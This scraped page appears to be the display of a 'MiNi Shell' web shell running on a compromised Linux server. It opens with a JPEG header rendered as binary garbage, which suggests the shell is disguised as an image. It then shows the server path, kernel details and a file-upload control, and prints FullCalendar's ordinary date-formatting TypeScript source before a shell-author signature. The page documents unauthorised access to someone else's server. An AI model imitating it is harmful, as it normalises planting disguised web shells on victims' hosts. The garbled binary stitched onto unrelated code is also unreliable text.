JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/vendor/bower-asset/fullcalendar/src/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/vendor/bower-asset/fullcalendar/src/date-formatting.ts

import {
  default as momentExt,
  newMomentProto,
  oldMomentProto,
  oldMomentFormat
} from './moment-ext'


// Plugin
// -------------------------------------------------------------------------------------------------

newMomentProto.format = function() {

  if (this._fullCalendar && arguments[0]) { // an enhanced moment? and a format string provided?
    return formatDate(this, arguments[0]) // our extended formatting
  }
  if (this._ambigTime) {
    return oldMomentFormat(englishMoment(this), 'YYYY-MM-DD')
  }
  if (this._ambigZone) {
    return oldMomentFormat(englishMoment(this), 'YYYY-MM-DD[T]HH:mm:ss')
  }
  if (this._fullCalendar) { // enhanced non-ambig moment?
    // moment.format() doesn't ensure english, but we want to.
    return oldMomentFormat(englishMoment(this))
  }

  return oldMomentProto.format.apply(this, arguments)
}

newMomentProto.toISOString = function() {

  if (this._ambigTime) {
    return oldMomentFormat(englishMoment(this), 'YYYY-MM-DD')
  }
  if (this._ambigZone) {
    return oldMomentFormat(englishMoment(this), 'YYYY-MM-DD[T]HH:mm:ss')
  }
  if (this._fullCalendar) { // enhanced non-ambig moment?
    // depending on browser, moment might not output english. ensure english.
    // https://github.com/moment/moment/blob/2.18.1/src/lib/moment/format.js#L22
    return oldMomentProto.toISOString.apply(englishMoment(this), arguments)
  }

  return oldMomentProto.toISOString.apply(this, arguments)
}

function englishMoment(mom) {
  if (mom.locale() !== 'en') {
    return mom.clone().locale('en')
  }
  return mom
}


// Config
// ---------------------------------------------------------------------------------------------------------------------

/*
Inserted between chunks in the fake ("intermediate") formatting string.
Important that it passes as whitespace (\s) because moment often identifies non-standalone months
via a regexp with an \s.
*/
let PART_SEPARATOR = '\u000b' // vertical tab

/*
Inserted as the first character of a literal-text chunk to indicate that the literal text is not actually literal text,
but rather, a "special" token that has custom rendering (see specialTokens map).
*/
let SPECIAL_TOKEN_MARKER = '\u001f' // information separator 1

/*
Inserted at the beginning and end of a span of text that must have non-zero numeric characters.
Handling of these markers is done in a post-processing step at the very end of text rendering.
*/
let MAYBE_MARKER = '\u001e' // information separator 2
let MAYBE_REGEXP = new RegExp(MAYBE_MARKER + '([^' + MAYBE_MARKER + ']*)' + MAYBE_MARKER, 'g') // must be global

/*
Addition formatting tokens we want recognized
*/
let specialTokens = {
  t: function(date) { // "a" or "p"
    return oldMomentFormat(date, 'a').charAt(0)
  },
  T: function(date) { // "A" or "P"
    return oldMomentFormat(date, 'A').charAt(0)
  }
}

/*
The first characters of formatting tokens for units that are 1 day or larger.
`value` is for ranking relative size (lower means bigger).
`unit` is a normalized unit, used for comparing moments.
*/
let largeTokenMap = {
  Y: { value: 1, unit: 'year' },
  M: { value: 2, unit: 'month' },
  W: { value: 3, unit: 'week' }, // ISO week
  w: { value: 3, unit: 'week' }, // local week
  D: { value: 4, unit: 'day' }, // day of month
  d: { value: 4, unit: 'day' } // day of week
}


// Single Date Formatting
// ---------------------------------------------------------------------------------------------------------------------

/*
Formats `date` with a Moment formatting string, but allow our non-zero areas and special token
*/
export function formatDate(date, formatStr) {
  return renderFakeFormatString(
    getParsedFormatString(formatStr).fakeFormatString,
    date
  )
}


// Date Range Formatting
// -------------------------------------------------------------------------------------------------
// TODO: make it work with timezone offset

/*
Using a formatting string meant for a single date, generate a range string, like
"Sep 2 - 9 2013", that intelligently inserts a separator where the dates differ.
If the dates are the same as far as the format string is concerned, just return a single
rendering of one date, without any separator.
*/
export function formatRange(date1, date2, formatStr, separator, isRTL) {
  let localeData

  date1 = momentExt.parseZone(date1)
  date2 = momentExt.parseZone(date2)

  localeData = date1.localeData()

  // Expand localized format strings, like "LL" -> "MMMM D YYYY".
  // BTW, this is not important for `formatDate` because it is impossible to put custom tokens
  // or non-zero areas in Moment's localized format strings.
  formatStr = localeData.longDateFormat(formatStr) || formatStr

  return renderParsedFormat(
    getParsedFormatString(formatStr),
    date1,
    date2,
    separator || ' - ',
    isRTL
  )
}

/*
Renders a range with an already-parsed format string.
*/
function renderParsedFormat(parsedFormat, date1, date2, separator, isRTL) {
  let sameUnits = parsedFormat.sameUnits
  let unzonedDate1 = date1.clone().stripZone() // for same-unit comparisons
  let unzonedDate2 = date2.clone().stripZone() // "

  let renderedParts1 = renderFakeFormatStringParts(parsedFormat.fakeFormatString, date1)
  let renderedParts2 = renderFakeFormatStringParts(parsedFormat.fakeFormatString, date2)

  let leftI
  let leftStr = ''
  let rightI
  let rightStr = ''
  let middleI
  let middleStr1 = ''
  let middleStr2 = ''
  let middleStr = ''

  // Start at the leftmost side of the formatting string and continue until you hit a token
  // that is not the same between dates.
  for (
    leftI = 0;
    leftI < sameUnits.length && (!sameUnits[leftI] || unzonedDate1.isSame(unzonedDate2, sameUnits[leftI]));
    leftI++
  ) {
    leftStr += renderedParts1[leftI]
  }

  // Similarly, start at the rightmost side of the formatting string and move left
  for (
    rightI = sameUnits.length - 1;
    rightI > leftI && (!sameUnits[rightI] || unzonedDate1.isSame(unzonedDate2, sameUnits[rightI]));
    rightI--
  ) {
    // If current chunk is on the boundary of unique date-content, and is a special-case
    // date-formatting postfix character, then don't consume it. Consider it unique date-content.
    // TODO: make configurable
    if (rightI - 1 === leftI && renderedParts1[rightI] === '.') {
      break
    }

    rightStr = renderedParts1[rightI] + rightStr
  }

  // The area in the middle is different for both of the dates.
  // Collect them distinctly so we can jam them together later.
  for (middleI = leftI; middleI <= rightI; middleI++) {
    middleStr1 += renderedParts1[middleI]
    middleStr2 += renderedParts2[middleI]
  }

  if (middleStr1 || middleStr2) {
    if (isRTL) {
      middleStr = middleStr2 + separator + middleStr1
    } else {
      middleStr = middleStr1 + separator + middleStr2
    }
  }

  return processMaybeMarkers(
    leftStr + middleStr + rightStr
  )
}


// Format String Parsing
// ---------------------------------------------------------------------------------------------------------------------

let parsedFormatStrCache = {}

/*
Returns a parsed format string, leveraging a cache.
*/
function getParsedFormatString(formatStr) {
  return parsedFormatStrCache[formatStr] ||
    (parsedFormatStrCache[formatStr] = parseFormatString(formatStr))
}

/*
Parses a format string into the following:
- fakeFormatString: a momentJS formatting string, littered with special control characters that get post-processed.
- sameUnits: for every part in fakeFormatString, if the part is a token, the value will be a unit string (like "day"),
  that indicates how similar a range's start & end must be in order to share the same formatted text.
  If not a token, then the value is null.
  Always a flat array (not nested liked "chunks").
*/
function parseFormatString(formatStr) {
  let chunks = chunkFormatString(formatStr)

  return {
    fakeFormatString: buildFakeFormatString(chunks),
    sameUnits: buildSameUnits(chunks)
  }
}

/*
Break the formatting string into an array of chunks.
A 'maybe' chunk will have nested chunks.
*/
function chunkFormatString(formatStr) {
  let chunks = []
  let match

  // TODO: more descrimination
  // \4 is a backreference to the first character of a multi-character set.
  let chunker = /\[([^\]]*)\]|\(([^\)]*)\)|(LTS|LT|(\w)\4*o?)|([^\w\[\(]+)/g

  while ((match = chunker.exec(formatStr))) {
    if (match[1]) { // a literal string inside [ ... ]
      chunks.push.apply(chunks, // append
        splitStringLiteral(match[1])
      )
    } else if (match[2]) { // non-zero formatting inside ( ... )
      chunks.push({ maybe: chunkFormatString(match[2]) })
    } else if (match[3]) { // a formatting token
      chunks.push({ token: match[3] })
    } else if (match[5]) { // an unenclosed literal string
      chunks.push.apply(chunks, // append
        splitStringLiteral(match[5])
      )
    }
  }

  return chunks
}

/*
Potentially splits a literal-text string into multiple parts. For special cases.
*/
function splitStringLiteral(s) {
  if (s === '. ') {
    return [ '.', ' ' ] // for locales with periods bound to the end of each year/month/date
  } else {
    return [ s ]
  }
}

/*
Given chunks parsed from a real format string, generate a fake (aka "intermediate") format string with special control
characters that will eventually be given to moment for formatting, and then post-processed.
*/
function buildFakeFormatString(chunks) {
  let parts = []
  let i
  let chunk

  for (i = 0; i < chunks.length; i++) {
    chunk = chunks[i]

    if (typeof chunk === 'string') {
      parts.push('[' + chunk + ']')
    } else if (chunk.token) {
      if (chunk.token in specialTokens) {
        parts.push(
          SPECIAL_TOKEN_MARKER + // useful during post-processing
          '[' + chunk.token + ']' // preserve as literal text
        )
      } else {
        parts.push(chunk.token) // unprotected text implies a format string
      }
    } else if (chunk.maybe) {
      parts.push(
        MAYBE_MARKER + // useful during post-processing
        buildFakeFormatString(chunk.maybe) +
        MAYBE_MARKER
      )
    }
  }

  return parts.join(PART_SEPARATOR)
}

/*
Given parsed chunks from a real formatting string, generates an array of unit strings (like "day") that indicate
in which regard two dates must be similar in order to share range formatting text.
The `chunks` can be nested (because of "maybe" chunks), however, the returned array will be flat.
*/
function buildSameUnits(chunks) {
  let units = []
  let i
  let chunk
  let tokenInfo

  for (i = 0; i < chunks.length; i++) {
    chunk = chunks[i]

    if (chunk.token) {
      tokenInfo = largeTokenMap[chunk.token.charAt(0)]
      units.push(tokenInfo ? tokenInfo.unit : 'second') // default to a very strict same-second
    } else if (chunk.maybe) {
      units.push.apply(units, // append
        buildSameUnits(chunk.maybe)
      )
    } else {
      units.push(null)
    }
  }

  return units
}


// Rendering to text
// ---------------------------------------------------------------------------------------------------------------------

/*
Formats a date with a fake format string, post-processes the control characters, then returns.
*/
function renderFakeFormatString(fakeFormatString, date) {
  return processMaybeMarkers(
    renderFakeFormatStringParts(fakeFormatString, date).join('')
  )
}

/*
Formats a date into parts that will have been post-processed, EXCEPT for the "maybe" markers.
*/
function renderFakeFormatStringParts(fakeFormatString, date) {
  let parts = []
  let fakeRender = oldMomentFormat(date, fakeFormatString)
  let fakeParts = fakeRender.split(PART_SEPARATOR)
  let i
  let fakePart

  for (i = 0; i < fakeParts.length; i++) {
    fakePart = fakeParts[i]

    if (fakePart.charAt(0) === SPECIAL_TOKEN_MARKER) {
      parts.push(
        // the literal string IS the token's name.
        // call special token's registered function.
        specialTokens[fakePart.substring(1)](date)
      )
    } else {
      parts.push(fakePart)
    }
  }

  return parts
}

/*
Accepts an almost-finally-formatted string and processes the "maybe" control characters, returning a new string.
*/
function processMaybeMarkers(s) {
  return s.replace(MAYBE_REGEXP, function(m0, m1) { // regex assumed to have 'g' flag
    if (m1.match(/[1-9]/)) { // any non-zero numeric characters?
      return m1
    } else {
      return ''
    }
  })
}


// Misc Utils
// -------------------------------------------------------------------------------------------------

/*
Returns a unit string, either 'year', 'month', 'day', or null for the most granular formatting token in the string.
*/
export function queryMostGranularFormatUnit(formatStr) {
  let chunks = chunkFormatString(formatStr)
  let i
  let chunk
  let candidate
  let best

  for (i = 0; i < chunks.length; i++) {
    chunk = chunks[i]

    if (chunk.token) {
      candidate = largeTokenMap[chunk.token.charAt(0)]
      if (candidate) {
        if (!best || candidate.value > best.value) {
          best = candidate
        }
      }
    }
  }

  if (best) {
    return best.unit
  }

  return null
}

Creat By MiNi SheLL
Email: jattceo@gmail.com